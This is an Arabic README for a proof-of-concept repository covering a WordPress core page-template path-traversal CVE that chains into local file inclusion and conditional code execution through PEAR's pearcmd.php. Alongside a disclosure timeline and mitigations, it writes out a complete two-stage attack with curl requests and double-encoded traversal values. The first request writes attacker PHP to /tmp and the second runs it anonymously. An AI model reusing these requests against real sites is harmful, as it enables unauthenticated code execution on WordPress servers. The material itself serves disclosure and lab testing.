
PoC لـ CVE-2026-87902 — اجتياز المسار بدون مصادقة في حل قوالب صفحات WordPress (تضمين PHP محلي، RCE شرطي) مع مختبر ثغرة مثبّت
| CVE | CVE-2026-87902 |
| إشعار المورّد | GHSA-7hp8-65ch-5whp |
| التحليل التفصيلي | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| المتأثر | نواة ووردبريس 4.7.0 – 7.1.1 (كل الفروع، وفق نطاقات كل فرع في الإشعار)؛ أُعيد إنتاجه ديناميكيًا على 7.0.2 |
| المُصلَح | 7.1.2 (فرع 7.1)، 7.0.6 (فرع 7.0) ونسخة مُرجَعة لكل فرع حتى 4.7.37 (وفق الإشعار) |
| نقاط الضعف | CWE-98 (تحكم غير سليم في اسم الملف عند التضمين)، CWE-22 / CWE-23 (اجتياز المسار) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 مرتفع |
| CVSS v4.0 (تكميلي) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 حرج |
| المصادقة | لا شيء — لا حساب، ولا كوكي، ولا nonce، ولا جلسة، ولا إضافة، ولا طلب خارجي |
| تفاعل المستخدم | لا شيء |
| المؤلف | Robert Ressl — ressl.ch |
| التحقق من PoC | 2026-09-22 مقابل المختبر في هذا المستودع — انظر النتائج المُتحقَّق منها |
يحل ووردبريس قالب صفحة عبر سلسلة لا تُثبت أبدًا أن الملف المختار يبقى داخل جذر القالب:
pagename و page_id متغيران عامّان للاستعلام يقبلهما WP::parse_request()
من جسم POST مجهول الهوية.pagename ينجو من التعقيم المبكر للاستعلام
كبايتات %xx مُهرَّبة (wp_basename() لا يستطيع رؤية %2f كفاصل،
وsanitize_title_with_dashes() يحتفظ عمدًا بالبايتات الصالحة).page_id صالح صفحة منشورة حقيقية، بينما يبقى pagename
الخبيث في كائن الاستعلام.get_page_template() الدالة urldecode() على تلك القيمة
ويضيف مرشحًا مثل page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
إلى تسلسل القوالب.locate_template() ومُحمِّل القالب النهائي يتحققان فقط من الوجود
وقابلية القراءة ولاحقة .php/.html — وليس أبدًا من أن المسار
القانوني لا يزال داخل جذر قالب مسموح — ثم يقومان بـ include له.هذا بدائي تضمين ملف محلي عن بُعد غير مُصادَق عليه في نواة ووردبريس. على
بيئة التشغيل الرسمية المُختبرة (wordpress:php8.3-apache، التي تتضمن PEAR
ولا تُحمِّل أي php.ini، لذا يكون register_argc_argv بقيمة On)، رُبط
التضمين عبر pearcmd.php الخاص بـ PEAR: طلب مجهول أول يجعل config-create
يكتب PHP يتحكم فيه المهاجم في /tmp، وطلب مجهول ثانٍ يضمّن ذلك الملف
وينفذه بصلاحيات www-data.
غياب احتواء المسار في النواة هو الثغرة. PEAR ليس سوى مسار واحد يعتمد على البيئة للانتقال من التضمين إلى تنفيذ الكود — فهو ليس تبعية لووردبريس وليس موجودًا أو قابلًا للاستخدام في كل عملية نشر.
مواقع المصدر المُتحقَّق منها (ووردبريس 7.0.2):
| # | الموقع | الدور |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename و page_id متغيران عامّان للاستعلام ويُقرآن من $_POST |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f ليس فاصلًا بالنسبة لـ wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() يحتفظ ببايتات %xx الصالحة بدلًا من إزالتها |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — يصبح الاجتياز فعّالًا بعد التعقيم |
| 5 | wp-includes/template.php:722-736 | locate_template() يدمج المرشح أسفل كل جذر قالب ويستدعي فقط file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() يُطبِّع المسار، ثم يُنفَّذ include دون أي تحقق قانوني من احتواء الجذر |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() يعود مبكرًا للطلبات غير GET/HEAD، لذا لا يُعاد توجيه POST بعيدًا |
يحتاج بدائي التضمين المستقل إلى:
| # | الشرط المسبق | السبب |
|---|---|---|
| 1 | صفحة منشورة يمكن الوصول إليها مجهولًا ومحددة بـ page_id رقمي | يجب أن يُعيد الاستعلام الصفحة بعد فشل البحث عن اسم المسار |
| 2 | عدم وجود قالب صفحة مخصص قابل للحل مسبقًا | القالب المعيّن الصالح يُرتَّب قبل المرشح الخبيث |
| 3 | دليل من المستوى الأعلى في القالب النشط (الفرعي أو الأب) يبدأ اسمه بـ page-، مثل page-templates/ | يضيف ووردبريس البادئة الثابتة page-، لذا لا يمكن أن يبدأ اجتياز .. من الموضع 0؛ يجب فقط أن يكون الدليل موجودًا وقابلًا للعبور — ولا يجب أن يكون قابلًا للكتابة |
| 4 | ملف .php محلي محدد موجود وقابل للقراءة من مستخدم PHP | يتحقق المُحمِّل من is_file()/is_readable() ويشترط لاحقة .php |
| 5 | عدم وجود حصر لنظام الملفات يحجب ذلك الملف | يمكن لسياسة open_basedir أو MAC أن تمنع التضمين |
تحتاج مرحلة PEAR المُوضَّحة إضافةً إلى ذلك إلى pearcmd.php قابل للقراءة
(مع تبعياته)، وregister_argc_argv=On لواجهة SAPI الخاصة بالويب، ودليل
إخراج قابل للكتابة. ملفات php.ini في الإنتاج تضبط
register_argc_argv=Off؛ الصورة المُختبرة لا تُحمِّل أي php.ini، لذا
انطبق الافتراضي المُصرَّف (On). هذا حدّ مهم على انتشار سلسلة تنفيذ الكود
المُوضَّحة.
قوالب Twenty Twenty-Three/Four/Five المُضمَّنة لا تُوفِّر أي دليل
page-* من المستوى الأعلى، لذا يحتاج المختبر الافتراضي إلى التجهيز الموصوف
أدناه. يمكن للقوالب المخصصة استخدام تخطيط page-templates/ بشكل مشروع
(توثيق ووردبريس).
يسجّل الإشعار أين تحدث هذه الشروط في البرمجيات المُوزَّعة: شرط القالب
مُتحقَّق في قالبَي Twenty Twelve و Twenty Fourteen القديمين وفي قوالب طرف
ثالث مثل Neve و Hestia و Sydney، بينما ينطبق انتقال PEAR على صورة PHP
Docker الرسمية وعلى إعدادات cPanel الافتراضية التي تشغّل PHP أقدم من 8.5.
(يُوفِّر كل من Twenty Twelve و Twenty Fourteen دليل page-templates/ من
المستوى الأعلى؛ أما العبارات المتبقية فهي من الإشعار.) لا يقيس هذا
المستودع مدى تكرار انطباق السلسلة الكاملة.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
يحتاج cve-2026-87902.py إلى Python 3.6+ (المكتبة القياسية فقط) ويصل إلى
المختبر على http://127.0.0.1:8091 افتراضيًا. المخرجات المتوقعة:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
رمز الخروج هو 0 عند النجاح و 1 بخلاف ذلك، لذا يعمل PoC أيضًا كفحص
انحدار/كشف.
الإزالة: docker compose down -v.
شُغِّل في 2026-09-22 مقابل هذا المختبر (Docker 29.4، OrbStack، Apple silicon):
| الفحص | النتيجة |
|---|---|
| المرحلة 1 | HTTP 200؛ كُتِب /tmp/wp-pear-rce-flag.php بصلاحيات www-data:www-data، الوضع 0644، 1219 بايت |
| SHA-256 للحمولة | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — مطابق للتجزئة المسجلة في التقرير الأصلي |
| المرحلة 2 | HTTP 200؛ طبع PHP المُحقَن أثر الإثبات ذا الوضع 0444 |
| تكرارات العلامة | 12 (يُسلسِل PEAR قيمة الجذر المتحكَّم بها في 12 مدخل إعداد) |
| بيانات الاعتماد المستخدمة | لا شيء — لا ترويسة Cookie أو Authorization في أي طلب |
| الضبط السلبي | إزالة page-templates/ → المرحلة 2 تُعيد الصفحة العادية، لا علامة، رمز الخروج 1 |
أثر الإثبات هو /flag، مملوك لـ root وقابل للقراءة عالميًا (root:root،
الوضع 0444) داخل الحاوية. يُثبت تنفيذ PHP والوصول إلى الملفات بصلاحيات
حساب خادم الويب؛ وهو ليس هدفًا لتصعيد الصلاحيات.
طلبا POST مجهولان. قيم توجيه ووردبريس تنتقل في جسم النموذج، ومعطيات PEAR
في سلسلة الاستعلام الخام (يقسم PHP سلسلة الاستعلام الخام على + الحرفي
إلى argv ولا يفك ترميز URL للمعطيات الفردية):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
المرحلة 1 — تضمين pearcmd.php وكتابة الحمولة:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
المرحلة 2 — تضمين الملف المُنشَأ وتشغيل PHP الخاص به:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
تفاصيل مهمة:
templates%2f%2e%2e%2f...؛ يحتفظ المُعقِّم بتلك البايتات، وفقط
urldecode() المتأخر في get_page_template() يحوّلها إلى / و ...page-. يضيف ووردبريس page- إلى القيمة، لذا يقابل دليل
التجهيز page-templates/ المقطع البادئ templates..php المفروضة. المرشح هو page-<decoded>.php، ولهذا يُعطى
الهدف دون لاحقة (.../pearcmd، /tmp/wp-pear-rce-flag).POST وليس GET. يتخطى redirect_canonical() الطلبات غير GET/HEAD،
ويسمح جسم النموذج لسلسلة الاستعلام بحمل معطيات PEAR فقط.wp_magic_quotes() أيضًا على
$_SERVER، لذا يُهرَّب argv المبني من الخادم ويُطبِّع PEAR الخطوط
المائلة العكسية لاحقًا. تستخدم الحمولة المُتحقَّق منها chr() ولا تحتوي
على أي محرف اقتباس. (وهي تُختصر إلى <?=file_get_contents('/flag')?>.)config-create. يرفض PEAR جذرًا نسبيًا
(Root directory must be an absolute path beginning with "/")، لذا تُحقَن
الحمولة كمسار الجذر نفسه.cve-2026-87902.py عبر مقاطع .. حتى يصل الاجتياز إلى
الهدف (7 لتخطيط هذا المختبر، و--depth لتثبيته).ينفذ lab/up.sh ثلاث خطوات وهو آمن لإعادة التشغيل:
docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache
مثبَّت بالإضافة إلى mysql:8.4، المنفذ 127.0.0.1:8091 (loopback فقط).admin / adminadmin) إذا لم يكن الموقع مُثبَّتًا بعد.wp-content/themes/twentytwentyfive/page-templates/، root:root، الوضع
0755، فارغ.تضيف صورة المختبر register_argc_argv=On صراحةً (lab/Dockerfile) بدلًا
من الاعتماد على الافتراضي المُصرَّف، وتُضمِّن /flag
(root:root، الوضع 0444، المحتوى CVE-2026-87902-POC-OK).
| المكوّن | القيمة |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33، وحدة Apache |
| PEAR | 1.10.18 في /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| القالب | Twenty Twenty-Five + تجهيز page-templates/ فارغ مملوك لـ root |
| الصفحة الهدف | Sample Page منشورة، المعرّف 2، القالب الافتراضي |
| أثر الإثبات | /flag، root:root، الوضع 0444 |
وسم
wordpress:php8.3-apacheالمتدحرج غير قابل للاستخدام في هذا المختبر: الثغرة مُصلَحة في 7.1.2 ووسم غير مثبَّت يحوّل المختبر بصمت إلى نسخة مُرقَّعة.
ضوابط مُتحقَّق منها أو موثقة:
page-* من المستوى الأعلى في القالب → لا يمكن إزالة البادئة
الثابتة ولا يبدأ الاجتياز أبدًا (مُتحقَّق منه: إزالة التجهيز → لا علامة).register_argc_argv=Off → لا كاتب PEAR، لكن بدائي التضمين يبقى... → لا يُبلَغ الهدف (مُتحقَّق منه: الأعماق 1-6 و
8-12 لا تُنتج علامة في المختبر)./flag) لا يمكن قراءته مباشرةً — يُضاف .php إلى
المرشح.<، >، = الخام في هدف الطلب يكسر قناة
معطيات PEAR (خاص بالنشر).open_basedir/MAC أو دليل إخراج غير قابل للكتابة يكسر السلسلة؛
noexec على /tmp لا يكسرها (يقرأ PHP الملف ويفسّره).يُعيد هذا PoC إنتاج إعداد واحد مُتحقَّق منه. لا يدّعي أن كل تثبيت ووردبريس قابل للاستغلال، ولا يقيس الانتشار.
validate_file())، وقبل تضمين قالب مُحدَّد،
قارن realpath() للمرشح وجذر القالب مع فاصل دليل لاحق.register_argc_argv=Off لواجهات SAPI الخاصة
بالويب، وأزل نقاط دخول PEAR غير المستخدمة القابلة للقراءة عبر الويب من
صور الإنتاج، ودقّق القوالب الفرعية والأب بحثًا عن أدلة page-* من
المستوى الأعلى، وقيّد صلاحية الكتابة لحساب PHP.| المسار | الغرض |
|---|---|
cve-2026-87902.py | الاستغلال: كشف الصفحة، المرحلتان، معالجة العمق، التحقق من العلامة |
lab/up.sh | يضع المختبر في الحالة الدقيقة التي يتوقعها الاستغلال (idempotent) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4، منفذ loopback فقط |
lab/Dockerfile | يثبّت الإصدار المعرّض، يضبط register_argc_argv=On، يُضمِّن /flag |
lab/flag | محتوى أثر الإثبات |
| التاريخ | الحدث |
|---|---|
| 2026-07-20 | أُبلِغ عنه بشكل خاص عبر برنامج WordPress HackerOne |
| 2026-07-21 | تأكيد الاستلام |
| 2026-09-15 | إبلاغ بأن إصلاحًا مُخطَّط لإصدار قادم؛ طُلبت تفاصيل الإسناد |
| 2026-09-22 | إصدار WordPress 7.1.2 مع الإصلاح؛ نشر الإشعار GHSA-7hp8-65ch-5whp |
قُبِل التقرير كاكتشاف أمني صالح بعد مراجعة تصنيفه الأولي؛ ولا تؤرّخ المراسلات ذلك القبول.
نُشِر هذا المستودع لأغراض دفاعية وبحثية. استخدمه فقط ضد الأنظمة التي
تملكها أو المصرَّح لك صراحةً باختبارها. المختبر مرتبط بـ 127.0.0.1 ويجب
عدم تعريضه لشبكات غير موثوقة.
MIT — انظر LICENSE. بيانات الاقتباس موجودة في CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
أُعِدَّ تقرير الثغرة وهذا PoC بمساعدة الذكاء الاصطناعي للتنظيم ومراجعة الاتساق؛ والباحث مسؤول عن الادعاءات التقنية.